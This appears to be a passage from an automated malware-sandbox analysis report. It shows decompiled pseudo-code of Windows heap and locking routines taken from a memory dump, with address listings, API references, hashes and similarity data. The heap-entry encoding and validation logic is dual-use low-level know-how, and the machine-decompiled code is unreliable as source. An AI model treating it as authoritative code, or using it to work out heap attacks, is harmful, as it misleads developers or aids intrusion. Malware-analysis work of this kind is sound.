								_t185 =  *(_t210 + 0x94);
								if(_t185 != 0) {
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t185);
								}
								_t189 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _v20 + 0x10);
								 *(_t210 + 0x94) = _t189;
								if(_t189 != 0) {
									 *((intOrPtr*)(_t189 + 8)) = _v28;
									( *(_t210 + 0x94))[3] = _v24;
									_t233 =  *(_t210 + 0x94);
									 *_t233 =  &(_t233[4]);
									_t233[1] = _t233[1] & 0x00000000;
									memcpy( *( *(_t210 + 0x94)), _v36, _v28);
									_t257 = _t257 + 0xc;
								}
								 *(_t210 + 0x20) =  *(_t210 + 0x20) & 0x00000000;
								E6CE1FFB0(_t210, _t250, _t250);
								_t222 = _v84;
								_t172 = _v88;
								_t208 = _v92;
								_t248 = _v96;
								L10:
								_t239 =  *((intOrPtr*)(_t252 + 0x1c));
								_v44 = _t239;
								if(_t239 != 0) {
									 *0x6cefb1e0(_v48 + 0x38, _v36, _v63, _t172, _t222, _t248, _t208, _v32,  *((intOrPtr*)(_t252 + 0x20)));
									_v44();
								}
								_pop(_t249);
								_pop(_t253);
								_pop(_t209);
								return E6CE4B640(0, _t209, _v8 ^ _t257, _t239, _t249, _t253);
							}
							_t181 = _v92;
							L31:
							_t226 = 1 + _t226;
							_t181 = _t181 + 0x18;
							_v88 = _t226;
							_v92 = _t181;
						} while (_t226 < 4);
						goto L34;
					}
					L9:
					_t172 = _v104;
					_t222 = _v100;
					goto L10;
				}
				_t248 = _t247 | 0xffffffff;
				_t208 = _t248;
				_v84 = _t248;
				_v80 = _t208;
				if( *((intOrPtr*)(_t252 + 0x4c)) == _t157) {
					_t234 = _v72;
					_v105 = _v64;
					_t202 = _v76;
				} else {
					_t204 =  *((intOrPtr*)(_t252 + 0x4d));
					_v105 = 1;
					if(_v63 <= _t204) {
						_v63 = _t204;
					}
					_t202 = _v76 |  *(_t252 + 0x40);
					_t234 = _v72 |  *(_t252 + 0x44);
					_t248 =  *(_t252 + 0x38);
					_t208 =  *(_t252 + 0x3c);
					_v76 = _t202;
					_v72 = _t234;
					_v84 = _t248;
					_v80 = _t208;
				}
				_v104 = _t202;
				_v100 = _t234;
				if( *((char*)(_t252 + 0xc4)) != 0) {
					_t238 = _v48;
					_v105 = 1;
					if(_v63 <=  *((intOrPtr*)(_t252 + 0xc5))) {
						_v63 =  *((intOrPtr*)(_t252 + 0xc5));
						_t238 = _v48;
					}
					_t203 = _t202 |  *(_t252 + 0xb8);
					_t235 = _t234 |  *(_t252 + 0xbc);
					_t248 = _t248 &  *(_t252 + 0xb0);
					_t208 = _t208 &  *(_t252 + 0xb4);
					_v104 = _t203;
					_v76 = _t203;
					_v100 = _t235;
					_v72 = _t235;
					_v84 = _t248;
					_v80 = _t208;
				}
				if(_v105 == 0) {
					_v36 = _v36 & 0x00000000;
					_t208 = 0;
					_t248 = 0;
					 *(_t238 + 0x74) =  *(_t238 + 0x74) & 0;
					goto L19;
				} else {
					_v36 = 1;
					goto L8;
				}
			}

0x6ce35142
0x6ce3514c
0x6ce35150
0x6ce35157
0x6ce35159
0x6ce3515e
0x6ce35165
0x6ce35169
0x6ce3516c
0x6ce35172
0x6ce35176
0x6ce3517a
0x6ce3517a
0x6ce3517a
0x6ce3517f
0x6ce76d8b
0x6ce76d8e
0x6ce76d91
0x6ce76d95
0x6ce76d98
0x6ce76d9c
0x6ce76da0
0x6ce76da3
0x6ce76da7
0x6ce76e26
0x6ce76e26
0x6ce76e2a
0x6ce351f9
0x6ce351f9
0x6ce351fe
0x6ce76e33
0x6ce76e33
0x6ce76e39
0x6ce76e3d
0x6ce76e46
0x6ce76e50
0x00000000
0x00000000
0x6ce76e52
0x6ce76e53
0x6ce76e56
0x6ce76e5d
0x00000000
0x00000000
0x00000000
0x6ce76e5f
0x6ce76e67
0x6ce76e77
0x6ce76e7f
0x6ce76e80
0x6ce76e88
0x6ce76e90
0x6ce76e9f
0x6ce76ea5
0x6ce76ea9
0x6ce76eb1
0x6ce76ebf
0x00000000
0x00000000
0x6ce76ecf
0x6ce76ed3
0x00000000
0x00000000
0x6ce76edb
0x6ce76ede
0x6ce76ee1
0x6ce76ee8
0x6ce76eeb
0x6ce76eed
0x6ce76ef0
0x6ce76ef4
0x6ce76ef8
0x6ce76efc
0x00000000
0x00000000
0x6ce76f0d
0x6ce76f11
0x6ce76f32
0x6ce76f37
0x6ce76f3b
0x6ce76f3e
0x6ce76f41
0x6ce76f46
0x00000000
0x00000000
0x6ce76f4c
0x6ce76f50
0x6ce76f50
0x6ce76f54
0x6ce76f62
0x6ce76f65
0x6ce76f6d
0x6ce76f7b
0x6ce76f7b
0x6ce76f93
0x6ce76f98
0x6ce76fa0
0x6ce76fa6
0x6ce76fb3
0x6ce76fb6
0x6ce76fbf
0x6ce76fc1
0x6ce76fd5
0x6ce76fda
0x6ce76fda
0x6ce76fdd
0x6ce76fe2
0x6ce76fe7
0x6ce76feb
0x6ce76fef
0x6ce76ff3
0x6ce3520c
0x6ce3520c
0x6ce3520f
0x6ce35215
0x6ce35234
0x6ce3523a
0x6ce3523a
0x6ce35244
0x6ce35245
0x6ce35246
0x6ce35251
0x6ce35251
0x6ce76f13
0x6ce76f17
0x6ce76f17
0x6ce76f18
0x6ce76f1b
0x6ce76f1f
0x6ce76f23
0x00000000
0x6ce76f28
0x6ce35204
0x6ce35204
0x6ce35208
0x00000000
0x6ce35208
0x6ce35185
0x6ce35188
0x6ce3518a
0x6ce3518e
0x6ce35195
0x6ce76db1
0x6ce76db5
0x6ce76db9
0x6ce3519b
0x6ce3519b
0x6ce3519e
0x6ce351a7
0x6ce351a9
0x6ce351a9
0x6ce351b5
0x6ce351b8
0x6ce351bb
0x6ce351be
0x6ce351c1
0x6ce351c5
0x6ce351c9
0x6ce351cd
0x6ce351cd
0x6ce351d8
0x6ce351dc
0x6ce351e0
0x6ce76dcc
0x6ce76dd0
0x6ce76dd5
0x6ce76ddd
0x6ce76de1
0x6ce76de1
0x6ce76de5
0x6ce76deb
0x6ce76df1
0x6ce76df7
0x6ce76dfd
0x6ce76e01
0x6ce76e05
0x6ce76e09
0x6ce76e0d
0x6ce76e11
0x6ce76e11
0x6ce351eb
0x6ce76e1a
0x6ce76e1f
0x6ce76e21
0x6ce76e23
0x00000000
0x6ce351f1
0x6ce351f1
0x00000000
0x6ce351f1

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,-00000054,6CEF86CC,?,000000FF,?,000000A0,?), ref: 6CE35234

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: e640586560a75ccc2028d76d20fb91735a23e94ddb5d635613df6e9d41b9c5d9
Instruction ID: 9753c36b669573830927ee5d9da53465968ce6b7d7533a09a49bcbe54f8f2e6c
Opcode Fuzzy Hash: e640586560a75ccc2028d76d20fb91735a23e94ddb5d635613df6e9d41b9c5d9
Instruction Fuzzy Hash: 19C120755093808FD354CF28C580A5AFBF1BF89308F248A6EF8998B752D771E945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CE2B73D, Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 190
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E6CE2B73D(void* __ecx, signed int __edx, intOrPtr* _a4, unsigned int _a8, intOrPtr _a12, signed int* _a16) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __ebp;
				void* _t72;
				char _t76;
				signed char _t77;
				intOrPtr* _t80;
				unsigned int _t85;
				signed int* _t86;
				signed int _t88;
				signed char _t89;
				intOrPtr _t90;
				intOrPtr _t101;
				intOrPtr* _t111;
				void* _t117;
				intOrPtr* _t118;
				signed int _t120;
				signed char _t121;
				intOrPtr* _t123;
				signed int _t126;
				intOrPtr _t136;
				signed int _t139;
				void* _t140;
				signed int _t141;
				void* _t147;

				_t111 = _a4;
				_t140 = __ecx;
				_v8 = __edx;
				_t3 = _t111 + 0x18; // 0x0
				 *((intOrPtr*)(_t111 + 0x10)) = _t3;
				_t5 = _t111 - 8; // -32
				_t141 = _t5;
				 *(_t111 + 0x14) = _a8;
				_t72 = 4;
				 *(_t141 + 2) = 1;
				 *_t141 = _t72;
				 *((char*)(_t141 + 7)) = 3;
				_t134 =  *((intOrPtr*)(__edx + 0x18));
				if( *((intOrPtr*)(__edx + 0x18)) != __edx) {
					_t76 = (_t141 - __edx >> 0x10) + 1;
					_v12 = _t76;
					__eflags = _t76 - 0xfe;
					if(_t76 >= 0xfe) {
						_push(__edx);
						_push(0);
						E6CECA80D(_t134, 3, _t141, __edx);
						_t76 = _v12;
					}
				} else {
					_t76 = 0;
				}
				 *((char*)(_t141 + 6)) = _t76;
				if( *0x6cef8748 >= 1) {
					__eflags = _a12 - _t141;
					if(_a12 <= _t141) {
						goto L4;
					}
					_t101 =  *[fs:0x30];
					__eflags =  *(_t101 + 0xc);
					if( *(_t101 + 0xc) == 0) {
						_push("HEAP: ");
						E6CE0B150();
					} else {
						E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push("((PHEAP_ENTRY)LastKnownEntry <= Entry)");
					E6CE0B150();
					__eflags =  *0x6cef7bc8;
					if(__eflags == 0) {
						E6CEC2073(_t111, 1, _t140, __eflags);
					}
					goto L3;
				} else {
					L3:
					_t147 = _a12 - _t141;
					L4:
					if(_t147 != 0) {
						 *((short*)(_t141 + 4)) =  *((intOrPtr*)(_t140 + 0x54));
					}
					if( *((intOrPtr*)(_t140 + 0x4c)) != 0) {
						 *(_t141 + 3) =  *(_t141 + 1) ^  *(_t141 + 2) ^  *_t141;
						 *_t141 =  *_t141 ^  *(_t140 + 0x50);
					}
					_t135 =  *(_t111 + 0x14);
					if( *(_t111 + 0x14) == 0) {
						L12:
						_t77 =  *((intOrPtr*)(_t141 + 6));
						if(_t77 != 0) {
							_t117 = (_t141 & 0xffff0000) - ((_t77 & 0x000000ff) << 0x10) + 0x10000;
						} else {
							_t117 = _t140;
						}
						_t118 = _t117 + 0x38;
						_t26 = _t111 + 8; // -16
						_t80 = _t26;
						_t136 =  *_t118;
						if( *((intOrPtr*)(_t136 + 4)) != _t118) {
							_push(_t118);
							_push(0);
							E6CECA80D(0, 0xd, _t118,  *((intOrPtr*)(_t136 + 4)));
						} else {
							 *_t80 = _t136;
							 *((intOrPtr*)(_t80 + 4)) = _t118;
							 *((intOrPtr*)(_t136 + 4)) = _t80;
							 *_t118 = _t80;
						}
						_t120 = _v8;
						 *((intOrPtr*)(_t120 + 0x30)) =  *((intOrPtr*)(_t120 + 0x30)) + 1;
						 *((intOrPtr*)(_t120 + 0x2c)) =  *((intOrPtr*)(_t120 + 0x2c)) + ( *(_t111 + 0x14) >> 0xc);
						 *((intOrPtr*)(_t140 + 0x1e8)) =  *((intOrPtr*)(_t140 + 0x1e8)) -  *(_t111 + 0x14);
						 *((intOrPtr*)(_t140 + 0x1f8)) =  *((intOrPtr*)(_t140 + 0x1f8)) + 1;
						if( *((intOrPtr*)(_t140 + 0x1f8)) > 0xa) {
							__eflags =  *(_t140 + 0xb8);
							if( *(_t140 + 0xb8) == 0) {
								_t88 =  *(_t140 + 0x40) & 0x00000003;
								__eflags = _t88 - 2;
								_t121 = _t120 & 0xffffff00 | _t88 == 0x00000002;
								__eflags =  *0x6cef8720 & 0x00000001;
								_t89 = _t88 & 0xffffff00 | ( *0x6cef8720 & 0x00000001) == 0x00000000;
								__eflags = _t89 & _t121;
								if((_t89 & _t121) != 0) {
									 *(_t140 + 0x48) =  *(_t140 + 0x48) | 0x10000000;
								}
							}
						}
						_t85 =  *(_t111 + 0x14);
						if(_t85 >= 0x7f000) {
							 *((intOrPtr*)(_t140 + 0x1ec)) =  *((intOrPtr*)(_t140 + 0x1ec)) + _t85;
						}
						_t86 = _a16;
						 *_t86 = _t141 - _a12 >> 3;
						return _t86;
					} else {
						_t90 = E6CE2B8E4(_t135);
						_t123 =  *((intOrPtr*)(_t90 + 4));
						if( *_t123 != _t90) {
							_push(_t123);
							_push( *_t123);
							E6CECA80D(0, 0xd, _t90, 0);
						} else {
							 *_t111 = _t90;
							 *((intOrPtr*)(_t111 + 4)) = _t123;
							 *_t123 = _t111;
							 *((intOrPtr*)(_t90 + 4)) = _t111;
						}
						_t139 =  *(_t140 + 0xb8);
						if(_t139 != 0) {
							_t93 =  *(_t111 + 0x14) >> 0xc;
							__eflags = _t93;
							while(1) {
								__eflags = _t93 -  *((intOrPtr*)(_t139 + 4));
								if(_t93 <  *((intOrPtr*)(_t139 + 4))) {
									break;
								}
								_t126 =  *_t139;
								__eflags = _t126;
								if(_t126 != 0) {
									_t139 = _t126;
									continue;
								}
								_t93 =  *((intOrPtr*)(_t139 + 4)) - 1;
								__eflags =  *((intOrPtr*)(_t139 + 4)) - 1;
								break;
							}
							E6CE2E4A0(_t140, _t139, 0, _t111, _t93,  *(_t111 + 0x14));
						}
						goto L12;
					}
				}
			}

0x6ce2b746
0x6ce2b74b
0x6ce2b74d
0x6ce2b750
0x6ce2b755
0x6ce2b758
0x6ce2b758
0x6ce2b75e
0x6ce2b763
0x6ce2b764
0x6ce2b76a
0x6ce2b76d
0x6ce2b771
0x6ce2b776
0x6ce2b85c
0x6ce2b85d
0x6ce2b860
0x6ce2b865
0x6ce72ba1
0x6ce72ba2
0x6ce72ba9
0x6ce72bae
0x6ce72bae
0x6ce2b77c
0x6ce2b77c
0x6ce2b77c
0x6ce2b785
0x6ce2b788
0x6ce72bb6
0x6ce72bb9
0x00000000
0x00000000
0x6ce72bbf
0x6ce72bc5
0x6ce72bc9
0x6ce72be8
0x6ce72bed
0x6ce72bcb
0x6ce72be0
0x6ce72be5
0x6ce72bf3
0x6ce72bf8
0x6ce72bfd
0x6ce72c05
0x6ce72c0e
0x6ce72c0e
0x00000000
0x6ce2b78e
0x6ce2b78e
0x6ce2b78e
0x6ce2b791
0x6ce2b791
0x6ce2b797
0x6ce2b797
0x6ce2b79f
0x6ce2b7a9
0x6ce2b7af
0x6ce2b7af
0x6ce2b7b1
0x6ce2b7b6
0x6ce2b7e2
0x6ce2b7e2
0x6ce2b7e7
0x6ce2b880
0x6ce2b7ed
0x6ce2b7ed
0x6ce2b7ed
0x6ce2b7ef
0x6ce2b7f2
0x6ce2b7f2
0x6ce2b7f5
0x6ce2b7fa
0x6ce72c2d
0x6ce72c2e
0x6ce72c39
0x6ce2b800
0x6ce2b800
0x6ce2b802
0x6ce2b805
0x6ce2b808
0x6ce2b808
0x6ce2b80a
0x6ce2b80d
0x6ce2b816
0x6ce2b81c
0x6ce2b822
0x6ce2b82f
0x6ce2b88b
0x6ce2b892
0x6ce2b897
0x6ce2b899
0x6ce2b89b
0x6ce2b89e
0x6ce2b8a5
0x6ce2b8a8
0x6ce2b8aa
0x6ce2b8ac
0x6ce2b8ac
0x6ce2b8aa
0x6ce2b892
0x6ce2b831
0x6ce2b839
0x6ce2b83b
0x6ce2b83b
0x6ce2b844
0x6ce2b84b
0x6ce2b852
0x6ce2b7b8
0x6ce2b7ba
0x6ce2b7bf
0x6ce2b7c4
0x6ce72c18
0x6ce72c19
0x6ce72c23
0x6ce2b7ca
0x6ce2b7ca
0x6ce2b7cc
0x6ce2b7cf
0x6ce2b7d1
0x6ce2b7d1
0x6ce2b7d4
0x6ce2b7dc
0x6ce2b8bb
0x6ce2b8bb
0x6ce2b8be
0x6ce2b8be
0x6ce2b8c1
0x00000000
0x00000000
0x6ce2b8c3
0x6ce2b8c5
0x6ce2b8c7
0x6ce2b8e0
0x00000000
0x6ce2b8e0
0x6ce2b8cc
0x6ce2b8cc
0x00000000
0x6ce2b8cc
0x6ce2b8d6
0x6ce2b8d6
0x00000000
0x6ce2b7dc
0x6ce2b7b6

Strings

HEAP[%wZ]: , xrefs: 6CE72BDB
((PHEAP_ENTRY)LastKnownEntry <= Entry), xrefs: 6CE72BF3
HEAP: , xrefs: 6CE72BE8

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
API String ID: 0-1334570610
Opcode ID: a5a211e6c57fb413cbbcc3821a38973f284530199c4f6ec4ddf9ec07395b36e9
Instruction ID: bf4636062426ab92ec2a9a693d5b99d9ac12f254977f0313623b24364fe9a978
Opcode Fuzzy Hash: a5a211e6c57fb413cbbcc3821a38973f284530199c4f6ec4ddf9ec07395b36e9
Instruction Fuzzy Hash: 6761B271A04345DFD718CF28C484B6ABBB5FF45308F24865DE85A8BB41D738E882CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CE395EC, Relevance: 10.7, APIs: 7, Instructions: 165
timelibraryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E6CE395EC(intOrPtr __ecx, signed int __edx, intOrPtr _a4) {
				intOrPtr _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t55;
				signed int _t59;
				signed int* _t62;
				void* _t68;
				intOrPtr _t86;
				void* _t90;
				signed int _t91;
				signed int _t92;
				signed int _t95;
				signed int _t111;
				signed int _t114;
				signed int _t116;

				_v8 =  *0x6cefd360 ^ _t116;
				_t114 = __edx;
				_v28 = __ecx;
				_v24 = 0;
				_v20 = 0;
				_t115 =  *((intOrPtr*)(__edx + 0x58));
				if(_t115 != 0) {
					_push( &_v20);
					_push(0);
					_push(0);
					E6CE43720(_t90, __edx, __edx, _t115, __eflags);
				}
				_t91 = _t114 + 0x8c;
				_t95 =  *_t91;
				do {
					_t111 = _t95;
					_t55 = _t95 >> 1;
					if(_t55 == 0) {
						_v16 = _v16 & 0x00000000;
						_v12 = _v12 & 0x00000000;
					} else {
						_v16 = 1;
						_v12 = 1;
						if((_t95 & 0x00000001 | _t55 * 0x00000002 - 0x00000002) < 2) {
							_v12 = _v12 & 0x00000000;
						}
					}
					asm("lock cmpxchg [ebx], ecx");
					_t95 = _t111;
				} while (_t95 != _t111);
				_t92 = _t91 | 0xffffffff;
				if(_t115 != 0) {
					__eflags = _v16;
					if(__eflags != 0) {
						__eflags = E6CE3EAA0(_t95, 0, _t115);
						if(__eflags >= 0) {
							_t86 = _v28;
							_t35 = _t86 + 0x50;
							 *_t35 =  *(_t86 + 0x50) | 0x00000100;
							__eflags =  *_t35;
							 *((intOrPtr*)(_t86 + 0x64)) = _t115;
						} else {
							_v16 = _v16 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							_v24 = 1;
						}
					}
					_push(_v20);
					_push(0);
					E6CE44520(_t92, _t114, _t115, __eflags);
					__eflags = _v24;
					if(_v24 != 0) {
						_t113 = _t92;
						E6CE39ED0(_t114 + 0x20, _t92, 0);
						E6CED8450(_t114);
					}
				}
				if(_v12 != 0) {
					_push(2);
					asm("lock xadd [edi], eax");
					_t59 = E6CE27D50();
					__eflags = _t59;
					if(_t59 != 0) {
						_t62 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t62 = 0x7ffe0386;
					}
					__eflags =  *_t62;
					if( *_t62 != 0) {
						E6CED8A62( *(_t114 + 0x5c), _t114 + 0x78,  *((intOrPtr*)(_t114 + 0x30)),  *((intOrPtr*)(_t114 + 0x34)),  *((intOrPtr*)(_t114 + 0x3c)));
					}
					_t113 =  *(_t114 + 0x5c);
					E6CE39702(_t92, _t114 + 0x78,  *(_t114 + 0x5c),  *((intOrPtr*)(_t114 + 0x74)), 0);
					asm("lock xadd [edi], eax");
					if(__eflags == 0) {
						_t115 =  *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))));
						 *0x6cefb1e0(_t114);
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))))))();
					}
				}
				if(_a4 != 0) {
					_t113 = 0;
					__eflags = E6CE3992F(0);
					if(__eflags != 0) {
						 *((intOrPtr*)(_t114 + 0x70)) = _v0;
						asm("lock xadd [edi], eax");
						if(__eflags == 0) {
							_t115 =  *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))));
							 *0x6cefb1e0(_t114);
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))))))();
						}
					}
				}
				if(_v16 == 0) {
					asm("lock xadd [edi], ebx");
					_t92 = _t92 - 1;
					__eflags = _t92;
					if(_t92 == 0) {
						_t115 =  *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))));
						 *0x6cefb1e0(_t114);
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))))))();
					}
					_t68 = 0;
				} else {
					_t113 = _t114;
					E6CE2E63F(_v28, _t114);
					_t68 = 1;
				}
				return E6CE4B640(_t68, _t92, _v8 ^ _t116, _t113, _t114, _t115);
			}

0x6ce395fb
0x6ce39601
0x6ce39603
0x6ce39608
0x6ce3960b
0x6ce3960e
0x6ce39613
0x6ce7967f
0x6ce79680
0x6ce79681
0x6ce79682
0x6ce79682
0x6ce39619
0x6ce3961f
0x6ce39621
0x6ce39623
0x6ce39625
0x6ce39627
0x6ce7968c
0x6ce79690
0x6ce3962d
0x6ce39634
0x6ce39643
0x6ce39649
0x6ce3964b
0x6ce3964f
0x6ce39649
0x6ce39653
0x6ce39657
0x6ce39659
0x6ce3965d
0x6ce39662
0x6ce7969c
0x6ce796a0
0x6ce796aa
0x6ce796ac
0x6ce796bf
0x6ce796c2
0x6ce796c2
0x6ce796c2
0x6ce796c9
0x6ce796ae
0x6ce796ae
0x6ce796b2
0x6ce796b6
0x6ce796b6
0x6ce796ac
0x6ce796cc
0x6ce796cf
0x6ce796d1
0x6ce796d6
0x6ce796da
0x6ce796e5
0x6ce796e7
0x6ce796ed
0x6ce796ed
0x6ce796da
0x6ce3966c
0x6ce3969e
0x6ce396a1
0x6ce396a5
0x6ce396aa
0x6ce396ac
0x6ce79700
0x6ce396b2
0x6ce396b2
0x6ce396b2
0x6ce396b9
0x6ce396bb
0x6ce79719
0x6ce79719
0x6ce396c1
0x6ce396cc
0x6ce396d3
0x6ce396d7
0x6ce79727
0x6ce7972b
0x6ce79731
0x6ce79731
0x6ce396d7
0x6ce39672
0x6ce396de
0x6ce396e7
0x6ce396e9
0x6ce396ee
0x6ce396f3
0x6ce396f7
0x6ce7973c
0x6ce79740
0x6ce79746
0x6ce79746
0x6ce396f7
0x6ce396e9
0x6ce39678
0x6ce7974d
0x6ce79751
0x6ce79751
0x6ce79752
0x6ce79758
0x6ce7975c
0x6ce79762
0x6ce79762
0x6ce79764
0x6ce3967e
0x6ce39681
0x6ce39683
0x6ce3968a
0x6ce3968a
0x6ce3969b

APIs

RtlGetCurrentServiceSessionId.1105(00000000,00000001,?,?,7FFE0386), ref: 6CE396A5

Part of subcall function 6CE39702: RtlAcquireSRWLockExclusive.1105(?,?,?,?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6CE3974F
Part of subcall function 6CE39702: RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6CE3976D

LdrLockLoaderLock.1105(00000000,00000000,00000001,?,?,7FFE0386,?,6CE06778,00000001), ref: 6CE79682
RtlDebugPrintTimes.1105(?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6CE7972B
RtlDebugPrintTimes.1105(?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6CE79740

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$DebugExclusivePrintTimes$AcquireCurrentLoaderReleaseServiceSession
String ID:
API String ID: 732933571-0
Opcode ID: 81d031bf62741dbeec8ae5f606152a62fe0696e1ba0adae733e11b6678a26f9f
Instruction ID: 7e9245bda93aeb9d23b3b9d1ad43154313394e5baf0eb40c64f15a4889cbcb52
Opcode Fuzzy Hash: 81d031bf62741dbeec8ae5f606152a62fe0696e1ba0adae733e11b6678a26f9f
Instruction Fuzzy Hash: E6510E70B05619EFCB04CF69C844BAEB7B4BF46318F24426DE01A97B90DB78A915CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CE03FC5, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E6CE03FC5(signed int __edx, intOrPtr _a4) {
				void* __ecx;
				signed char _t44;
				signed char _t48;
				intOrPtr* _t50;
				unsigned int _t51;
				signed char _t52;
				signed int _t58;
				signed int _t59;
				intOrPtr _t62;
				intOrPtr* _t64;
				signed int _t65;
				signed int _t78;

				_t58 = __edx;
				_t78 = _t59;
				if(__edx == 0 || (__edx & 0x00000007) != 0) {
					L37:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6CE0B150();
					} else {
						E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_t58 + 8);
					_push(_t78);
					E6CE0B150("Invalid address specified to %s( %p, %p )\n", _a4);
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x6cef6378 = 1;
						asm("int3");
						 *0x6cef6378 = 0;
					}
					return 0;
				} else {
					_t44 =  *((intOrPtr*)(__edx + 7));
					if((_t44 & 0x0000003f) == 0) {
						goto L37;
					}
					if(_t44 < 0) {
						if( *((char*)(_t78 + 0xda)) != 2) {
							_t62 = 0;
						} else {
							_t62 =  *((intOrPtr*)(_t78 + 0xd4));
						}
						if(_t62 != 0) {
							if(_t44 != 4) {
								L23:
								return 1;
							}
						}
						goto L37;
					}
					if( *(_t78 + 0x4c) == 0 || ( *(_t78 + 0x50) ^  *__edx) >> 0x18 == (( *(_t78 + 0x50) ^  *__edx) >> 0x00000010 ^ ( *(_t78 + 0x50) ^  *__edx) >> 0x00000008 ^ _t76)) {
						if( *((char*)(_t58 + 7)) == 4) {
							if((_t58 & 0x00000fff) != 0x18) {
								goto L37;
							}
							L13:
							if( *(_t78 + 0x4c) == 0) {
								_t48 =  *((intOrPtr*)(_t58 + 2));
							} else {
								_t51 =  *_t58;
								if(( *(_t78 + 0x4c) & _t51) != 0) {
									_t51 = _t51 ^  *(_t78 + 0x50);
								}
								_t48 = _t51 >> 0x10;
							}
							if((_t48 & 0x00000004) != 0) {
								if(E6CEB23E3(_t78, _t58) != 0) {
									goto L18;
								}
							} else {
								L18:
								if( *((char*)(_t58 + 7)) == 4) {
									goto L23;
								}
								_t64 = _t78 + 0xa4;
								_t50 =  *_t64;
								while(_t50 != _t64) {
									if(_t58 <  *((intOrPtr*)(_t50 + 0x14)) || _t58 >=  *((intOrPtr*)(_t50 + 0x18))) {
										_t50 =  *_t50;
										continue;
									} else {
										goto L23;
									}
								}
							}
							goto L37;
						}
						_t52 =  *((intOrPtr*)(_t58 + 6));
						if(_t52 == 0) {
							_t65 = _t78;
						} else {
							_t65 = (_t58 & 0xffff0000) - ((_t52 & 0x000000ff) << 0x10) + 0x10000;
						}
						if(_t65 == 0 ||  *((intOrPtr*)(_t65 + 0x18)) != _t78 || _t58 <  *((intOrPtr*)(_t65 + 0x24)) || _t58 >=  *((intOrPtr*)(_t65 + 0x28))) {
							goto L37;
						} else {
							goto L13;
						}
					} else {
						goto L37;
					}
				}
			}

0x6ce03fcc
0x6ce03fcf
0x6ce03fd3
0x6ce603b8
0x6ce603c2
0x6ce603e1
0x6ce603e6
0x6ce603c4
0x6ce603d9
0x6ce603de
0x6ce603ef
0x6ce603f0
0x6ce603f9
0x6ce6040b
0x6ce6040d
0x6ce60414
0x6ce60415
0x6ce60415
0x00000000
0x6ce03fe2
0x6ce03fe2
0x6ce03fe7
0x00000000
0x00000000
0x6ce03fef
0x6ce040b8
0x6ce040d8
0x6ce040ba
0x6ce040ba
0x6ce040ba
0x6ce040c2
0x6ce040ca
0x6ce040a4
0x00000000
0x6ce040a4
0x6ce040cc
0x00000000
0x6ce040c2
0x6ce03ff9
0x6ce0401f
0x6ce603a0
0x00000000
0x00000000
0x6ce04069
0x6ce0406d
0x6ce040dc
0x6ce0406f
0x6ce0406f
0x6ce04074
0x6ce04076
0x6ce04076
0x6ce04079
0x6ce04079
0x6ce0407e
0x6ce603b2
0x00000000
0x00000000
0x6ce04084
0x6ce04084
0x6ce04088
0x00000000
0x00000000
0x6ce0408a
0x6ce04090
0x6ce04092
